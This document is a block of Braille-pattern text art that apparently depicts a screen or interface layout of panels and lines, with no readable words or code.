⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛ ⠟⣙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡾⠿⠿ ⣶⣛⣶⣿⣿⣿⣁⣈⣹⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠷⠶⠶ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣛⣿⣿⣿⢸⠉⠉⠉⠉⠙⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠈⢉⠉⠉⠉⠉⠁⢸⠉⠉⠉⠉⠉⠈⠉⠉⠉⠁⠉⠉⠉⠉⠉⠉⠉⠋⠁⠈⠉⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠙⠉⡍⠉⠁⠈⠈⠉⠉⠉⠉⠉⢹ ⣄⠛⣠⣿⣿⢸⠛⠛⠛⠛⠛⡟⠛⠛⢻⠛⠛⠛⠛⠛⠛⠒⠚⠛⠛⠛⠛⠛⠓⠖⠛⠛⠻⠛⠛⠛⠛⠛⠛⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣿⣿⣾⣿⣿⣿⣿⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢸⣀⣀⣀⣀⣀⣇⣀⣄⣸⣀⣀⣀⣀⣀⣀⣀⣄⣀⣀⣆⣀⣀⣀⣆⣀⣀⣠⣀⣀⣀⣀⣀⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢸⡀⠀⠀⣀⣀⠀⣇⢀⡀⡄⠂⠀⣔⠀⢐⡀⠀⡇⠀⡀⠀⡀⡌⣃⡔⠀⠐⠀⢸⡀⠠⠂⡀⢂⢀⢰⠀⣀⣢⠀⠀⠀⠀⡀⠀⢀⠀⠀⠀⢀⠀⢀⠀⠀⣀⣀⠀⠀⠀⡀⠀⠀⠀⢀⠀⠀⠀⠀⢀⡀⢸⣿ ⣿⣿⣿⣿⣿⢸⠛⠛⠛⠘⢻⠋⡟⠛⠃⡟⠛⠋⡟⠋⠁⡇⠁⡟⠛⠋⠛⡘⠛⠛⠛⠉⢻⠛⢹⠀⢙⠛⠃⠹⠛⢸⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢸⣶⣶⣶⣾⣿⣶⣵⣶⣧⣷⣿⣷⣾⣶⣮⣷⣶⣧⣼⣧⣷⣵⣾⣶⣴⣶⣾⣿⣼⣶⣾⣴⣶⣵⣶⣼⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢸⠿⠿⠿⠿⠿⠿⠿⠿⠟⠿⠿⠿⠿⠿⠿⠿⠿⠻⠿⠟⠻⠿⠟⠿⠿⠿⠿⠿⠟⠿⠿⠛⠿⠿⠻⠿⢿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠛⠿⠿⠿⠿⠿⠛⠿⠛⠿⠿⠟⠻⠿⠿⠿⠿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢸⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣄⣠⣤⣤⣤⣤⣤⣤⣤⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣦⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣼⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢸⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢸⣶⣶⣶⣶⣶⣾⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⢸⠉⠛⠛⠛⠛⠙⠛⠛⠋⠛⠛⠋⠉⠛⠛⠉⠋⠛⠋⠙⠛⠛⠛⠛⠛⠛⠛⠛⠙⠛⠛⠉⠛⠛⠛⠉⠉⠛⠛⠛⠋⠙⠛⠛⠛⠛⠛⠛⠛⠋⠉⠉⠉⠋⠙⠙⠛⠛⠛⠛⠛⠋⠛⠛⠛⠙⠛⠛⢻⣿⣿⣿ ⣿⣿⣿⣿⣿⢸⣶⣷⣶⣶⣶⣶⣶⣦⣴⣶⣶⣶⣶⣦⣼⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣷⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⣿ ⣿⣿⣿⣿⣿⠈⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠿⠿⠿⠿⠿⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶⠶ ⡿⣛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿ ⣮⠿⣵⣿⣿⣿⡁⢈⣉⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢷⣶⣶ ⡟⢟⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶ ⣿⠿⣾⣿⣿⣿⢻⠻⠿⡿⡟⡟⡿⡻⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⡉⠿⢉⣿⣿⣿⣷⣶⣶⣾⣶⣵⣾⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣶⣿⣿⣿⣿⢿⣿⣿⠿⠿⣿⣿⣿⣿⣿⢿⡿⣿⡿⡿⣿⡿⣿⢿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣽⣧⣬⣤⣬⣤⣤⣤⣤⣯⣬⣧⣤⣿⣥⣤⣤⣽⣤⣤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤ ⣶⠶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣲⣶⣶ ⣁⣶⣈⣿⣿⣿⠛⠛⡟⠻⣻⢛⠛⠛⣻⡛⠛⠛⢟⣟⠛⢻⠛⠛⠛⡛⣛⡛⠛⠋⠙⢻⢙⠛⢛⠋⣿⠛⠛⢛⠋⡟⡏⠛⠛⢹⠛⠛⡟⠛⡛⠛⠋⠛⠛⠛⢻⡟⠛⠛⢛⠛⡟⣛⠛⠛⢻⠛⢛⢛⣿⣿⣿⣿⣿⣯⣉⣍ ⡿⡶⢿⣿⣿⣿⢷⣾⢶⣾⣷⢾⣶⣶⣾⣷⣶⢶⣶⡾⠶⠾⡿⣷⣶⡷⠾⣶⣶⢶⣮⢾⣶⣶⡾⣶⣾⣶⣶⣶⣶⢷⢷⣶⣶⢾⣶⣶⠿⣦⣾⣦⣶⣶⢶⣮⣶⡷⢶⡶⢶⣶⣷⡶⣶⣶⣾⣶⣮⣾⣿⣿⣿⣿⣿⣭⣭⣭ ⣧⣦⣼⣿⣿⣿⣤⣴⣤⣤⣤⣤⣦⣼⣤⣤⣦⣤⣴⣧⣷⣥⣥⣧⣴⣤⣤⣦⣤⣤⣼⣤⣤⣤⣧⣤⣤⣤⣼⣀⣤⣤⣦⣦⣼⣷⣄⣼⣤⣤⣾⣦⣦⣤⣤⣤⣤⣷⣦⣼⣤⣴⣤⣧⣴⣭⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠛⣶⠛⣿⣿⣿⠛⠙⠉⠏⠛⠋⠛⢿⠫⠛⡻⠛⢻⠩⠛⠛⡟⠙⢛⣛⠛⡟⠙⠻⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣷⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣵⣤⣤⣴⣤⣤⣤⣤⣤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿ ⡿⣛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿ ⣮⠿⣵⣿⣿⣿⡁⢈⣉⣸⣉⣩⣈⣉⣉⡨⣹⣈⣩⣀⣩⣉⣉⣉⡏⣩⣉⣹⣈⣩⣉⣉⣉⣉⣉⣏⣉⣁⣍⣉⣅⢩⣿⣭⣉⣁⣉⣍⣉⣍⣹⡍⣉⣩⣹⣿⣍⣹⣉⣍⣈⣫⣍⣉⣈⣍⣹⣿⣿⣿⣿⣿⣿⣿⣿⢷⣶⣶ ⡟⢟⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶ ⣷⠷⣾⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣍⠿⣩⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠿⠿⠿⠿⠿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿ ⢟⣭⡻⣿⣿⣿⡿⢿⣿⢿⠿⢿⣿⣿⣿⣿⡿⠿⣿⣿⢿⡿⣿⢿⣿⣿⣿⢿⣿⣿⠿⢿⣿⣿⡿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⡿⣿⢿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⠿⡿⣿⣿⠿⡿⣿⣿⣿⣿⣿⣿⣿⡞⠛⠛ ⣷⣛⣾⣿⣿⣿⣄⣠⣤⣼⣦⣤⣼⣤⣧⣤⣤⣼⣧⣤⣤⣤⣤⣤⣴⣤⣼⣤⣼⣤⣤⣾⣶⣤⣦⣤⣴⣄⣺⣤⣤⣤⣇⣤⣤⣴⣼⣤⣤⣤⣤⣦⣾⣤⣼⣤⣤⣦⣴⣤⣤⣽⣤⣤⣦⣤⣤⣧⣤⣦⣤⣤⣾⣿⣿⣻⣿⣿ ⣏⡁⢸⣿⣿⣿⠨⠫⡉⢩⡏⠉⠉⠉⡉⡇⠉⠉⠈⠉⠉⢹⣉⠉⠉⡇⠍⠉⠉⢹⠉⠉⠫⢯⠉⡉⣟⠍⠍⠉⡍⡏⠉⡉⠉⡏⢹⠉⠈⣛⠹⡏⡏⠉⡉⣹⠉⠉⠉⢍⢹⠩⠉⠩⠉⠉⠉⢹⠁⠫⣫⢉⢍⠍⣿⣿⣿⣿ ⡿⣭⢿⣿⣿⣿⠻⠿⠿⠿⡛⡟⠛⠿⢾⡻⠿⠿⠷⡾⠿⠿⠾⠿⢿⠿⠿⠿⠿⠿⠿⠿⠟⠿⠿⢿⠿⠿⠿⠿⠟⠷⠾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿ ⣮⣛⣵⣿⣿⣿⣾⣶⣷⣾⣷⣿⣶⣶⣾⣿⣶⣶⣾⣿⣴⣷⣾⣶⣾⣶⣶⣶⣶⣶⣶⣿⣶⣶⣶⣶⣦⣶⣶⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 